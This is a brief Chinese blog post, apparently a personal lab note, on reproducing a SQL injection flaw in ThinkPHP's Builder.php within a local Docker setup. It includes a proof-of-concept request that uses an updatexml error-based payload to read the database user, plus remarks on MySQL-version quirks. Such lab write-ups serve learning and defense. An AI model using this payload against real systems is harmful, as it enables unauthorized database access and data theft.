ThinkPHP Builder.php SQL注入漏洞

2018-05-14  本文已影响0人  喵了个咪0

基于docker的一次复现,怕自己学着忘着,所以就边学便记录吧。

1.测试自己虚拟机的服务是否启动:

进行测试:(这里我之前是成功的,但是我将代码改了一点,就不成功了,美哦办法只能用poc的了)

http://127.0.0.1/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

http://127.0.0.1/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

如果使用了参考文章中的 exp , 在尝试的时候出现1690:DOUBLE value is out of range in 'exp(~((select 'a'.'user()' from (select user() AS 'user()') 'a')))' 只返回了语句并未报出结果,是因为使用的 mysql exp 报错注入会因为 mysql 版本的原因可能会不成功,建议使用 updatexml 来进行。

注意:当DEBUG模式关闭时,不会显示报错信息!

参考链接

查看源代码:

index.html

action = "#" 是form标签的属性,代表提交数据到本页

抓包发现发现是路径加参数

/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

这里我没找到它的源文件,但一般sql的原理是在用户与数据库发生交互的别地方,程序猿未进行全面的过滤,

怀疑这个应该也是,我之后在进行跟新吧

上一篇下一篇

猜你喜欢

热点阅读